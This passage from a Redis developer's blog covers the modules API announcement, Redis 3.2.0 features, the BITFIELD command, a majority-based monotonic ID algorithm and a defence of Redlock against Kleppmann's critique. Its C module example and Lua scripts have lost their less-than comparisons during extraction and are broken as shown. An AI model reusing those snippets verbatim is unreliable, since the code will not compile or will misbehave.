  It was a matter of time but it eventually happened. In the Redis 1.0 release notes, 7 years ago, I mentioned that one of the interesting features for the future was “loadable modules”. I was really interested in such a feature back then, but over the years I became more and more skeptic about the idea of adding loadable modules in Redis. And probably for good reasons. Modules can be the most interesting feature of a system and the most problematic one at the same time: API incompatibilities between versions, low quality modules crashing the system, a lack of identity of a system that is extendible are possible problems. SO, for years, I managed to avoided adding modules to Redis, and Lua scripting was a good tool in order to delay their addition. At the same time, years of experience with scripting, demonstrated that scripting is a way to “compose” existing features, but not a way to extend the capabilities of a system towards use cases it was not designed to cover. Previous attempts at modules also showed that one of the main pain points about mixing Redis and loadable modules is the way modules are bound with the Redis core. In may ways Redis resembles more a programming language than a database. To extend Redis properly, the module needs to have access to the internal API of the system. Directly exporting the Redis core functions to modules creates huge problems: the module starts to depend on the internal details of Redis. If the Redis core evolves, the module needs to be rewritten. This creates either a fragile modules ecosystem or stops the evolution of the Redis core. Redis internals can’t stop to evolve, nor the modules developers can keep modifying the module in order to stay updated with the internals (something that happened in certain popular systems in the past, with poor results). With all this lessons in mind, I was leaving Catania to fly to Tel Aviv, to have a meeting at Redis Labs to talk about the roadmap for the future months. One of the topics of our chat was loadable modules. During the flight I asked myself if it was possible to truly decouple the Redis core from the modules API, but still have a low level access to directly manipulate Redis data structure. So I started to immediately code something. What I wanted was an extreme level of API compatibility for the future, so that a module wrote today could work in 4 years from now with the same API, regardless of the changes to the Redis core. I also wanted binary compatibility so that the 4 years old module could even *load* in the new Redis versions and work as expected, without even the need to be recompiled. At the end of the flight I arrived in Tel Aviv with something already working in the “modules” branch. We discussed together how the API would work, and at the end everybody agreed that to be able to manipulate Redis internals directly was a fundamental feature. What we wanted to accomplish was to allow Redis developers to create commands that were as capable as the Redis native commands, and also as fast as the native commands. This cannot be accomplished just with an high level API that calls Redis commands, it’s too slow and limited. There is no point in having a Redis modules system that can just do what Lua can already do. You need to be able to say, get me the value associated with this key, what type is it? Do this low level operation on the value. Given me a cursor into the sorted set at this position, go to the next element, and so forth. To create an API that works as an intermediate layer for such low level access is tricky, but definitely possible. I returned home and started to work at the modules system immediately. After a couple of weeks I had a prototype that was already functional enough to develop interesting modules, featuring low level functions like data types low level access, strings DMA to poke with the internals of strings without wrappers when needed, a replication API, an interesting sorted set iterator API, and so forth. It looked was a very promising start, however the project was kinda of “secret” because it was not clear if it was viable initially. Also we wanted to avoid everybody to start developing modules while the API was extremely unstable and subject to changes. The result of this process, while not complete, is very promising, so today I’m announcing the new feature at Redis Conference 2016, and the code was just pushed into the “unstable” branch. But let’s check the API a bit… Here is a trivial example of what a module can do and how it works. It implements a “list splice” operation that moves elements from a list to another: int HelloListSpliceAuto_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc != 4) return RedisModule_WrongArity(ctx); RedisModule_AutoMemory(ctx); RedisModuleKey *srckey = RedisModule_OpenKey(ctx,argv[1], REDISMODULE_READ|REDISMODULE_WRITE); RedisModuleKey *dstkey = RedisModule_OpenKey(ctx,argv[2], REDISMODULE_READ|REDISMODULE_WRITE); /* Src and dst key must be empty or lists. */ if ((RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_EMPTY) || (RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_EMPTY)) { return RedisModule_ReplyWithError(ctx,REDISMODULE_ERRORMSG_WRONGTYPE); } long long count; if ((RedisModule_StringToLongLong(argv[3],&count) != REDISMODULE_OK) || (count { return RedisModule_ReplyWithError(ctx,"ERR invalid count"); } while(count-- > 0) { RedisModuleString *ele; ele = RedisModule_ListPop(srckey,REDISMODULE_LIST_TAIL); if (ele == NULL) break; RedisModule_ListPush(dstkey,REDISMODULE_LIST_HEAD,ele); } size_t len = RedisModule_ValueLength(srckey); RedisModule_ReplyWithLongLong(ctx,len); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx) { if (RedisModule_Init(ctx,"helloworld",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx,"hello.list.splice.auto", HelloListSpliceAuto_RedisCommand, "write deny-oom",1,2,1) == REDISMODULE_ERR) return REDISMODULE_ERR; } There was a big effort into providing a clean API, and an API that is not prone to misuses. For example there is support for automatic memory management, so that the context the command operates on, collects the objects that are not explicitly freed by the user, in order to free them when the command returns if needed. This makes writing modules a lot simpler. You can find the API documentation here (not perfect but there is enough to get familiar): https://github.com/antirez/redis/blob/unstable/src/modules/INTRO.md And the API reference here: https://github.com/antirez/redis/blob/unstable/src/modules/API.md And many simple examples of commands here: https://github.com/antirez/redis/blob/unstable/src/modules/helloworld.c The API is yet not complete nor stable, and will be released with the next stable version of Redis (likely 4.0). However it is already enough to do a lot of things, and my colleagues did very interesting things, from inverted indexes to authentication systems. In the next weeks we’ll fill all the holes, for example there is no low level Set API, so you’ll have to use Call() style API for now. Similarly the iterator is only provided for the sorted set type, and so forth. But the important point is that the process is now started, and Redis is becoming an extendible system. I think this will give more power to Redis users, power to go “faster” than the project itself, in using Redis to model their problems, with the big promise that, after Redis 4.0 RC is out, we’ll not break the API ever for years to come, so that modules work will not get wasted. Note that we *can improve* the API, since the module registration asks for a given API version, so it will be possible to maintain the backward compatibility while at the same time release new versions of the API. Soon there will be a Modules Directory were you can register your modules, using redis-cli, into a server that talks the Redis protocol. It was not possible to finish it in time unfortunately, but it is just a matter of weeks. I’m very very excited about what will happen now! Modules will have a Bazar model like clients, so there will not be “official modules”. The good ones will be used for sure, and all will get listed in the Redis site, probably ranked by Github stars or something like that. I hope many users will start to be part of the modules ecosystem and make Redis able to solve very specific use cases that was not wise to solve inside the core, but that are a good fit for modules. Now I need your feedbacks while the API is still malleable. Tell me what you think! Comments

• Three ideas about text messages
  May 07, 2016

  I’m aboard of a flight bringing me to San Francisco. Eventually I purchased the slowest internet connection of my life (well at least for a good reason), but for several hours I was without internet, as usually when I fly. I don’t mind staying disconnected for some time usually. It’s a good time to focus, write some code, or a blog post like this one. However when I’m disconnected, what makes the most difference is not Facebook or Twitter or Github, but the lack of text messages. At this point text messages are a fundamental thing in my life. They are also probably the main source of distraction. I use messages to talk with my family, even just to communicate between different floors. I use messages with friends to organize dinners and vacations. I even use messages with the plumber or the doctor. Clearly messages are not going to go away. They need to get better, so I usually tend to thing at topics related to messaging applications. The following are three recurrent thoughts I’ve about this topic. 1. WhatsApp is not used in the US. Do you know what’s the social network that is reshaping the most the way we communicate in Europe? Is the WhatsApp application. Since it is the total standard and an incredible amount of the population has it, “WhatsApp Groups” is changing the way people communicate. There is a group for each school class, one for the children and one for the parents. One for families, another for groups of friends. One for the kindergarten of my daughter, where teachers post from time to time pictures of our children doing activities. WhatsApp is also one of the main pains of modern life. All this groups continuously beep. However what they are doing for the society is incredible: they are truly making every human being interconnected. This magic is possible because here in Italy, and in most other EU countries, WhatsApp is *the standard* so everybody assumes you use it. To me it is pretty incredible that this is not happening in the US, the place where most social applications are funded and created. Given that in the US there are both Android and iOS phones I wonder what’s stopping this from happening. My guess is that it’s just a matter of time and a unified messaging platform will happen there too. * Why voice recognition is not used more. For people that can write text fast into a real keyboard, the software keyboard of the phone is one of the most annoying things ever. Similarly, teenagers excluded, many other people have issues writing long text messages with a phone keyboard. At the same time, the voice recognition software of Android, powered by the Google servers, reached a point where it rarely does errors at all, so why just a few people use it on a daily basis? My theory is that the user interface to activate and use the voice recognition feature is so bad to be the main barrier to make this feature a big hit. First you have to find how to activate it, and usually is not a prominent button on the keyboard. Then there is this delay and it emits a beep and starts to listen, and it’s not clear exactly how to stop it, especially if the environment is aloud. The whole thing looks like if you are suffering from the servers latency, but voice is voice. With delays and non clear experience you kill the big advantage of talking to your phone. This should be just a “push the button while you talk” thing. When you push the button, the system starts to record your voice immediately and connects asynchronously to the servers. As text arrives back, it is shown to the user. When the user releases the button the voice thing is done. As simple as that. At the end, the words that were inserted in this way could be shown in some special way (like a different gray) in the text area, so that one can tap individual words and select alternatives if there are errors. Please Google freaking do that. I wonder if it’s any better on iOS, I don’t use it for some time at this point. * Auto transcription of text messages. Since the phone keyboard is such a mess, people are using more and more voice messages, especially with WhatsApp. It is very convenient for people writing messages, since there is the “push and talk” experience that there is not in the speech to text feature. However it is not always very convenient for the people receiving the message, that may be in an environment where to listen to the conversation is not easy. However there is something that could work in that regard, that is, the WhatsApp (or whatever) servers, should automatically translate the message to text, so that the user can both play the message or just look at the text, if it’s clear enough. When there are doubts on given words, the text can be highlighted in some way to show the user that it’s better to listen to the voice message since there are non clear words, however this could easily make 95% of messages promptly available to the user just reading. This way the feature would be friction-less both ways, for the users writing (dictating actually) and for the user receiving the messages. TLDR: Messaging is everywhere, make it better. Comments

• Redis 3.2.0 is out!
  May 06, 2016

  It took more than expected, but finally we have it, Redis 3.2.0 stable is out with changes that may be useful to a big number of Redis users. At this point I covered the changes multiple time, but the big ones are: * The GEO API. Index whatever you want by latitude and longitude, and query by radius, with the same speed and easy of use of the other Redis data structures. Here you can find the API documentation: http://redis.io/commands/#geo. Thank you to Matt Stancliff for the initial implementation, that was reworked but is still at the core of the GEO API, and to the developers of ARDB for providing the geo indexing code that Matt used. * The new BITFIELD command allows to use a Redis string as a bit array composed of many integers with user specified size and offset. It supports increments and decrements to exploit this small (or large) integers as counters, with fine control over the overflow behavior. http://redis.io/commands/bitfield. Thanks to Yoav Steinberg for pushing forward this crazy idea and motivating me to write an implementation. * Many improvements to Redis Cluster, including rebalancing capabilities in redis-trib and better replicas migration. However support for NATted envrionments and Docker port forwarding, while implemented in the “unstable” branch, was not backported to 3.2 for maturity concerns. * Improvements to Lua scripts replication. It is now possible to use “effects replication” to write scripts containing side effects. It’s documented here: http://redis.io/commands/EVAL. Thanks to Yossi Gottlieb for stimulating the addition of this feature and helping in the design. * We have now a serious Lua scripts debugger: https://www.youtube.com/watch?v=IMvRfStaoyM with support into redis-cli. Thanks to Itamar Haber, developer of non trivial scripts since the start of Lua scripting, that really wanted this feature and helped during the development. * Redis is now more memory efficient thanks to changes operated by Oran Agra to SDS and the Jemalloc size classes setup. Also we have a new List internal representation contributed by Matt Stancliff which uses just a small percentage of the memory used before to represent large lists! * Finally slaves and masters are in agreement about what keys are expired during read operations. It was about time :-) * SPOP now accepts an optional count argument. Thanks to Alon Diamant for providing the initial implementation. I kinda rewrote it for performances later, and we ended with a pretty fast thing. * RDB AUX fields. So now your RDB files have a few informations inside, like the server that generated it, in what date, and so forth. Soon we’ll have redis-cli able to parse those fields (in 3.2.1) hopefully. It’s a small amount of work but I’m remembering only know writing this notes, honestly. * RDB loading is faster now. * Sentinel can now scale monitoring many masters, but should be considered more an advanced beta than stable, so please test it in your environment carefully before deploying, a lot of code changed inside Sentinel internals. * Many more things but this list is already long enough. A big thank you to all the contributors that made this release possible, to the Redis user base which is lovely and encouraging, and to Redis Labs for sponsoring a lot of the work that went into 3.2.0. During the previous weeks we also worked to a new interesting feature that will be released in the next versions of Redis, it will be announced during RedisConf 2016 in San Francisco, 10-11 May, so stay tuned! One note about stability. I keep saying it all the time, but stability in software is not black and white. It’s like pink, yellow and green. No just kidding. It’s the usual shades of gray. So 3.2.0 looks solid, however it’s fresh meat. Start to use it incrementally and check how it works for you, and please report any issue promptly. However it’s also true that given that it stayed in RC for a lot of time, it was already tested by the brave users that were too much in need for the new features to deploy it ASAP. The 3.2.0 full changelog is here: https://raw.githubusercontent.com/antirez/redis/3.2/00-RELEASENOTES Redis 3.2.0 can be obtained as a tarball at http://download.redis.io, or by fetching the 3.2.0 tag from Github antirez/redis repository. Enjoy! Comments

• 100 more of those BITFIELDs
  Feb 26, 2016

  Today Redis is 7 years old, so to commemorate the event a bit I passed the latest couple of days doing a fun coding marathon to implement a new crazy command called BITFIELD. The essence of this command is not new, it was proposed in the past by me and others, but never in a serious way, the idea always looked a bit strange. We already have bit operations in Redis: certain users love it, it’s a good way to represent a lot of data in a compact way. However so far we handle each bit separately, setting, testing, getting bits, counting all the bits that are set in a range, and so forth. What about implementing bitfields? Short or large, arbitrary sized integers, at arbitrary offsets, so that I can use a Redis string as an array of 5 bits signed integers, without losing a single bit of juice. A few days ago, Yoav Steinberg from Redis Labs, proposed a set of commands on arbitrary sized integers stored at bit offsets in a more serious way. I smiled when I read the email, since this was kinda of a secret dream. Starting from Yoav proposal and with other feedbacks from Redis Labs engineers, I wrote an initial specification of a single command with sub-commands, using short names for types definitions, and adding very fine grained control on the overflow semantics. I finished the first implementation a few minutes ago, since the plan was to release it for today, in the hope Redis appreciates we do actual work in its bday. The resulting BITFIELD command supports different subcommands: SET — Set the specified value and return its previous value. GET — Get the specified value. INCRBY — Increment the specified counter. There is an additional meta command called OVERFLOW, used to set (guess what) the overflow semantics of the commands that will follow (so OVERFLOW can be specified multiple times): OVERFLOW SAT — Saturation, so that overflowing in one direction or the other, will saturate the integer to its maximum value in the direction of the overflow. OVERFLOW WRAP — This is usual wrap around, but the interesting thing is that this also works for signed integers, by wrapping towards the most negative or most positive values. OVERFLOW FAIL — In this mode the operation is not performed at all if the value would overflow. The integer types can be specified using the “u” or “i” prefix followed by the number of bits, so for example u8, i5, u20 and i53 are valid types. There is a limitation: u64 cannot be specified since the Redis protocol is unable to return 64 bit unsigned integers currently. It's time for a few examples: in order to increment an unsigned integer of 8 bits I could use: 127.0.0.1:6379> BITFIELD mykey incrby u8 100 1 1) (integer) 3 This is incrementing an unsigned integer, 8 bits, at offset 100 (101th bit in the bitmap). However there is a different way to specify offsets, that is by prefixing the offset with “#”, in order to say: "handle the string as an array of counters of the specified size, and set the N-th counter". Basically this just means that if I use #10 with an 8 bits type, the offset is obtained by multiplying 8*10, this way I can address multiple counters independently without doing offsets math: 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 2 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 2 The ability to control the overflow is also interesting. For example an unsigned counter of 1 bit will actually toggle between 0 and 1 with the default overflow policy of “wrap”: 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 As you can see it alternates 0 and 1. Saturation can also be useful: 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -3 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -6 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 As you can see, decrementing 3 never goes under -8. Note that you can carry multiple operations in a single command. It always returns an array of results: 127.0.0.1:6379> BITFIELD mykey get i4 100 set u8 200 123 incrby u8 300 1 1) (integer) -8 2) (integer) 123 3) (integer) 7 The intended usage for this command is real time analytics, A/B testing, showing slightly different things to users every time by using the overflowing of integers. Packing so many small counters in a shared and memory efficient way can be exploited in many ways, but that’s left as an exercise for the talented programmers of the Redis community. The command will be backported into the stable version of Redis in the next weeks, so this will be usable very soon. Curious about the implementation? It's more complex you could expect probably: https://github.com/antirez/redis/commit/70af626d613ebd88123f87a941b0dd3570f9e7d2 Comments

• The binary search of distributed programming
  Feb 13, 2016

  Yesterday night I was re-reading Redlock analysis Martin Kleppmann wrote (http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html). At some point Martin wonders if there is some good way to generate monotonically increasing IDs with Redis. This apparently simple problem can be more complex than it looks at a first glance, considering that it must ensure that, in all the conditions, there is a safety property which is always guaranteed: the ID generated is always greater than all the past IDs generated, and the same ID cannot be generated multiple times. This must hold during network partitions and other failures. The system may just become unavailable if there are less than the majority of nodes that can be reached, but never provide the wrong answer (note: as we'll see this algorithm has another liveness issue that happens during high load of requests). So for the sake of playing a bit more with distributed systems algorithms, and learn a bit more in the process, I tried to find a solution. Actually I was aware of an algorithm that could solve the problem. It’s an inefficient one, not suitable to generate tons of IDs per second. Many complex distributed algorithms, like Raft and Paxos, use it as a step in order to get monotonically increasing IDs, as a foundation to mount the full set of properties they need to provide. This algorithm is fascinating since it’s extremely easy to understand and implement, and because it’s very intuitive to understand *why* it works. I could say, it is the binary search of distributed algorithms, something easy enough but smart enough to let newcomers to distributed programming to have an ah!-moment. However I had to modify the algorithm in order to adapt it to be implemented in the client side. Hopefully it is still correct (feedbacks appreciated). While I’m not going to use this algorithm in order to improve Redlock (see my previous blog post), I think that trying to solve this kind of problems is both a good exercise, and it may be an interesting read for people approaching distributed systems for the first times looking for simple problems to play with in real world systems. ## How it works? The algorithm requirements are the following two: 1. A data store that supports the operation set_if_less_than(). 2. A data store that can fsync() data to disk on writes, before replying to the client. The above includes almost any *SQL server, Redis, and a number of other stores. We have a set of N nodes, let’s assume N = 5 for simplicity in order to explain the algorithm. We initialize the system by setting a key called “current” to the value of 0, so in Redis terms, we do: SET current 0 In all the 5 instances. This is part of the initialization and must be done only when a new “cluster” is initialized. This step can be skipped but makes the explanation simpler. In order to generate a new ID, this is what we do: 1: Get the “current” value from the majority of instances (3 or more if N=5). 2: If we failed to reach 3 instances, GOTO 1. 3: Get the maximum value among the ones we obtained, and increment it by 1. Let’s call this $NEXTID 4: Send the following write operation to all the nodes we are able to reach. IF current SET current $NEXTID return $NEXTID ELSE return NULL END 5: If 3 or more instances will reply $NEXTID, the algorithm succeeded, and we successfully generated a new monotonically increasing ID. 6: Otherwise, if we have not reached the majority, GOTO 1. What we send at step 4 can be easily translated to a simple Redis Lua script: local val = tonumber(redis.call('get',KEYS[1])) local nextid = tonumber(ARGV[1]) if val redis.call('set',KEYS[1],nextid) return nextid else return nil end ## Is it safe? The reason why I intuitively believe that it works, other than the fact that, in a modified form is used as a step in deeply analyzed algorithms, is that: If we are able to obtain the majority of “votes”, it is impossible by definition that any other client obtained the majority for an ID greater or equal to the one we generated. Otherwise there were already 3 or more instances with a value of current >= $NEXTID, and it would be impossible for us to get the majority. So the IDs generated are always greater than the past IDs, and for the same condition it is impossible for two instances to generate the same ID. Maybe some kind reader could point to a bug in the algorithm or to an analysis of this algorithm as used in other analyzed systems, however given that the above is adapted to be executed client-side, there are actually more processes involved and it should be re-analyzed in order to provide a proof that it is equivalent. ## Why it’s a slow algorithm? The problem with this algorithm is concurrent accesses. If many clients are trying to generate new IDs at the same time, nobody may get the majority, and they will need to retry again, with larger numbers. Note that this also means that there could be “holes” in the sequence of generated IDs, so the clients could be able to generate the sequence 1, 2, 6, 10, 11, 21, … Because many numbers could be “burn” by the split brain condition caused by concurrent access. (Note that in the above sentence "split brain" does not mean that there is an inconsistent state between the nodes, just that it was not possible to reach the majority to agree about a given ID. Usually split brain refers to a conflict in the configuration where, for example, multiple nodes claim to be a master. However in the Raft paper the term split brain is used with the same meaning I'm using here). How many IDs per second you can generate without incurring frequent failures due to concurrent accesses depends on the network RTT and number of concurrent clients. What’s interesting however is that you can make the algorithm more scalable by creating an “IDs server” that talks to the cluster, and mediates the access of the clients by serializing the generation of the new IDs one after the other. This does not create a single point of failure since you don’t need to have a single ID server, you can run a few for redundancy, and have hundreds of clients connecting to it. Using this schema to generate 5k IDs/sec, should be viable, especially if the client is implemented in a smart way, trying to send the requests to the 5 nodes at the same time, using some multiplexing or threaded approach. Another approach when there are many clients and no node mediating the access is to use randomized and exponential delays to contact the nodes again, if a round of the algorithm failed. ## Why fsync is needed? Here fsync at every write is mandatory because if nodes go down and restart, they MUST have the latest value of the “current” key. If the value of current returns backward, it is possible to violate our safety property that states that the newly generated IDs are always greater than any other ID generated in the past. However if you use a full replicated FSM to achieve the same goal, you need fsync anyway (but you don’t have the problem of the concurrent accesses. For example using Raft in normal conditions you have a single leader you can send requests to). So, in the case of Redis, it must be configured with AOF enabled and the AOF fsync policy set to always, to make sure the write is always persisted before to reply to the client. ## What do I do with those IDs A set of IDs like that, have a property which is called “total ordering”, so they are very useful in different contexts. Usually it is hard with distributed computations to say what happened before and what happened after. Using those IDs you always know the order of certain events. To give you a simple example: different processes, using this system, may compute a list of items, and take each sub-list in their local storage. At the end, they could merge the multiple lists and get a final list in the right order, as if there was a single shared list since the start where each process was able to append an item. ## Origins of this algorithm What described here closely resembles both Paxos first phase and Raft leader election. However it seems just a special case of Lamport timestamp where the majority is used in order to create total ordering. Many thanks to Max Neunhoeffer and Martin Kleppmann for feedbacks about the initial draft of this blog post. Note that any error is mine. Comments

• Is Redlock safe?
  Feb 09, 2016

  Martin Kleppmann, a distributed systems researcher, yesterday published an analysis of Redlock (http://redis.io/topics/distlock), that you can find here: http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html Redlock is a client side distributed locking algorithm I designed to be used with Redis, but the algorithm orchestrates, client side, a set of nodes that implement a data store with certain capabilities, in order to create a multi-master fault tolerant, and hopefully safe, distributed lock with auto release capabilities. You can implement Redlock using MySQL instead of Redis, for example. The algorithm's goal was to move away people that were using a single Redis instance, or a master-slave setup with failover, in order to implement distributed locks, to something much more reliable and safe, but having a very low complexity and good performance. Since I published Redlock people implemented it in multiple languages and used it for different purposes. Martin's analysis of the algorithm concludes that Redlock is not safe. It is great that Martin published an analysis, I asked for an analysis in the original Redlock specification here: http://redis.io/topics/distlock. So thank you Martin. However I don’t agree with the analysis. The good thing is that distributed systems are, unlike other fields of programming, pretty mathematically exact, or they are not, so a given set of properties can be guaranteed by an algorithm or the algorithm may fail to guarantee them under certain assumptions. In this analysis I’ll analyze Martin's analysis so that other experts in the field can check the two documents (the analysis and the counter-analysis), and eventually we can understand if Redlock can be considered safe or not. Why Martin thinks Redlock is unsafe ----------------------------------- The arguments in the analysis are mainly two: 1. Distributed locks with an auto-release feature (the mutually exclusive lock property is only valid for a fixed amount of time after the lock is acquired) require a way to avoid issues when clients use a lock after the expire time, violating the mutual exclusion while accessing a shared resource. Martin says that Redlock does not have such a mechanism. 2. Martin says the algorithm is, regardless of problem “1”, inherently unsafe since it makes assumptions about the system model that cannot be guaranteed in practical systems. I’ll address the two concerns separately for clarity, starting with the first “1”. Distributed locks, auto release, and tokens ------------------------------------------- A distributed lock without an auto release mechanism, where the lock owner will hold it indefinitely, is basically useless. If the client holding the lock crashes and does not recover with full state in a short amount of time, a deadlock is created where the shared resource that the distributed lock tried to protect remains forever unaccessible. This creates a liveness issue that is unacceptable in most situations, so a sane distributed lock must be able to auto release itself. So practical locks are provided to clients with a maximum time to live. After the expire time, the mutual exclusion guarantee, which is the *main* property of the lock, is gone: another client may already have the lock. What happens if two clients acquire the lock at two different times, but the first one is so slow, because of GC pauses or other scheduling issues, that will try to do work in the context of the shared resource at the same time with second client that acquired the lock? Martin says that this problem is avoided by having the distributed lock server to provide, with every lock, a token, which is, in his example, just a number that is guaranteed to always increment. The rationale for Martin's usage of a token, is that this way, when two different clients access the locked resource at the same time, we can use the token in the database write transaction (that is assumed to materialize the work the client does): only the client with the greatest lock number will be able to write to the database. In Martin's words: “The fix for this problem is actually pretty simple: you need to include a fencing token with every write request to the storage service. In this context, a fencing token is simply a number that increases (e.g. incremented by the lock service) every time a client acquires the lock” … snip … “Note this requires the storage server to take an active role in checking tokens, and rejecting any writes on which the token has gone backwards”. I think this argument has a number of issues: 1. Most of the times when you need a distributed lock system that can guarantee mutual exclusivity, when this property is violated you already lost. Distributed locks are very useful exactly when we have no other control in the shared resource. In his analysis, Martin assumes that you always have some other way to avoid race conditions when the mutual exclusivity of the lock is violated. I think this is a very strange way to reason about distributed locks with strong guarantees, it is not clear why you would use a lock with strong properties at all if you can resolve races in a different way. Yet I’ll continue with the other points below just for the sake of showing that Redlock can work well in this, very artificial, context. 2. If your data store can always accept the write only if your token is greater than all the past tokens, than it’s a linearizable store. If you have a linearizable store, you can just generate an incremental ID for each Redlock acquired, so this would make Redlock equivalent to another distributed lock system that provides an incremental token ID with every new lock. However in the next point I’ll show how this is not needed. 3. However “2” is not a sensible choice anyway: most of the times the result of working to a shared resource is not writing to a linearizable store, so what to do? Each Redlock is associated with a large random token (which is generated in a way that collisions can be ignored. The Redlock specification assumes textually “20 bytes from /dev/urandom”). What do you do with a unique token? For example you can implement Check and Set. When starting to work with a shared resource, we set its state to “``”, then we operate the read-modify-write only if the token is still the same when we write. 4. Note that in certain use cases, one could say, it’s useful anyway to have ordered tokens. While it’s hard to think at an use case, note that for the same GC pauses Martin mentions, the order in which the token was acquired, does not necessarily respects the order in which the clients will attempt to work on the shared resource, so the lock order may not be casually related to the effects of working to a shared resource. 5. Most of the times, locks are used to access resources that are updated in a way that is non transactional. Sometimes we use distributed locks to move physical objects, for example. Or to interact with another external API, and so forth. I want to mention again that, what is strange about all this, is that it is assumed that you always must have a way to handle the fact that mutual exclusion is violated. Actually if you have such a system to avoid problems during race conditions, you probably don’t need a distributed lock at all, or at least you don’t need a lock with strong guarantees, but just a weak lock to avoid, most of the times, concurrent accesses for performances reasons. However even if you happen to agree with Martin about the fact the above is very useful, the bottom line is that a unique identifier for each lock can be used for the same goals, but is much more practical in terms of not requiring strong guarantees from the store. Let’s talk about system models ------------------------------ The above criticism is basically common to everything which is a distributed lock with auto release, not providing a monotonically increasing counter with each lock. However the other critique of Martin is specific to Redlock. Here Martin really analyzes the algorithm, concluding it is broken. Redlock assumes a semi synchronous system model where different processes can count time at more or less the same “speed”. The different processes don’t need in any way to have a bound error in the absolute time. What they need to do is just, for example, to be able to count 5 seconds with a maximum of 10% error. So one counts actual 4.5 seconds, another 5.5 seconds, and we are fine. Martin also states that Redlock requires bound messages maximum delays, which is not correct as far as I can tell (I’ll explain later what’s the problem with his reasoning). So let’s start with the issue of different processes being unable to count time at the same rate. Martin says that the clock can randomly jump in a system because of two issues: 1. The system administrator manually alters the clock. 2. The ntpd daemon changes the clock a lot because it receives an update. The above two problems can be avoided by “1” not doing this (otherwise even corrupting a Raft log with “echo foo > /my/raft/log.bin” is a problem), and “2” using an ntpd that does not change the time by jumping directly, but by distributing the change over the course of a larger time span. However I think Martin is right that Redis and Redlock implementations should switch to the monotonic time API provided by most operating systems in order to make the above issues less of a problem. This was proposed several times in the past, adds a bit of complexity inside Redis, but is a good idea: I’ll implement this in the next weeks. However while we’ll switch to monotonic time API, because there are advantages, processes running in an operating system without a software (time server) or human (system administrator) elements altering the clock, *can* count relative time with a bound error even with gettimeofday(). Note that there are past attempts to implement distributed systems even assuming a bound absolute time error (by using GPS units). Redlock does not require anything like that, just the ability of different processes to count 10 seconds as 9.5 or 11.2 (+/- 2 seconds max in the example), for instance. So is Redlock safe or not? It depends on the above. Let’s assume we use the monotonically increasing time API, for the sake of simplicity to rule out implementation details (system administrators with a love for POKE and time servers). Can a process count relative time with a fixed percentage of maximum error? I think this is a sounding YES, and is simpler to reply yes to this than to: “can a process write a log without corrupting it”? Network delays & co ------------------- Martin says that Redlock does not just depend on the fact that processes can count time at approximately the same time, he says: “However, Redlock is not like this. Its safety depends on a lot of timing assumptions: it assumes that all Redis nodes hold keys for approximately the right length of time before expiring; that that the network delay is small compared to the expiry duration; and that process pauses are much shorter than the expiry duration.” So let’s split the above claims into different parts: 1. Redis nodes hold keys for approximately the right length of time. 2. Network delays are small compared to the expiry duration. 3. Process pauses are much shorter than the expiry duration. All the time Martin says that “the system clock jumps” I assume that we covered this by not poking with the system time in a way that is a problem for the algorithm, or for the sake of simplicity by using the monotonic time API. So: About claim 1: This is not an issue, we assumed that we can count time approximately at the same speed, unless there is any actual argument against it. About claim 2: Things are a bit more complex. Martin says: “Okay, so maybe you think that a clock jump is unrealistic, because you’re very confident in having correctly configured NTP to only ever slew the clock.” (Yep we agree here ;-) he continues and says…) “In that case, let’s look at an example of how a process pause may cause the algorithm to fail: Client 1 requests lock on nodes A, B, C, D, E. While the responses to client 1 are in flight, client 1 goes into stop-the-world GC. Locks expire on all Redis nodes. Client 2 acquires lock on nodes A, B, C, D, E. Client 1 finishes GC, and receives the responses from Redis nodes indicating that it successfully acquired the lock (they were held in client 1’s kernel network buffers while the process was paused). Clients 1 and 2 now both believe they hold the lock.” If you read the Redlock specification, that I hadn't touched for months, you can see the steps to acquire the lock are: 1. Get the current time. 2. … All the steps needed to acquire the lock … 3. Get the current time, again. 4. Check if we are already out of time, or if we acquired the lock fast enough. 5. Do some work with your lock. Note steps 1 and 3. Whatever delay happens in the network or in the processes involved, after acquiring the majority we *check again* that we are not out of time. The delay can only happen after steps 3, resulting into the lock to be considered ok while actually expired, that is, we are back at the first problem Martin identified of distributed locks where the client fails to stop working to the shared resource before the lock validity expires. Let me tell again how this problem is common with *all the distributed locks implementations*, and how the token as a solution is both unrealistic and can be used with Redlock as well. Note that whatever happens between 1 and 3, you can add the network delays you want, the lock will always be considered not valid if too much time elapsed, so Redlock looks completely immune from messages that have unbound delays between processes. It was designed with this goal in mind, and I cannot see how the above race condition could happen. Yet Martin's blog post was also reviewed by multiple DS experts, so I’m not sure if I’m missing something here or simply the way Redlock works was overlooked simultaneously by many. I’ll be happy to receive some clarification about this. The above also addresses “process pauses” concern number 3. Pauses during the process of acquiring the lock don’t have effects on the algorithm's correctness. They can however, affect the ability of a client to make work within the specified lock time to live, as with any other distributed lock with auto release, as already covered above. Digression about network delays --- Just a quick note. In server-side implementations of a distributed lock with auto-release, the client may ask to acquire a lock, the server may allow the client to do so, but the process can stop into a GC pause or the network may be slow or whatever, so the client may receive the "OK, the lock is your" too late, when the lock is already expired. However you can do a lot to avoid your process sleeping for a long time, and you can't do much to avoid network 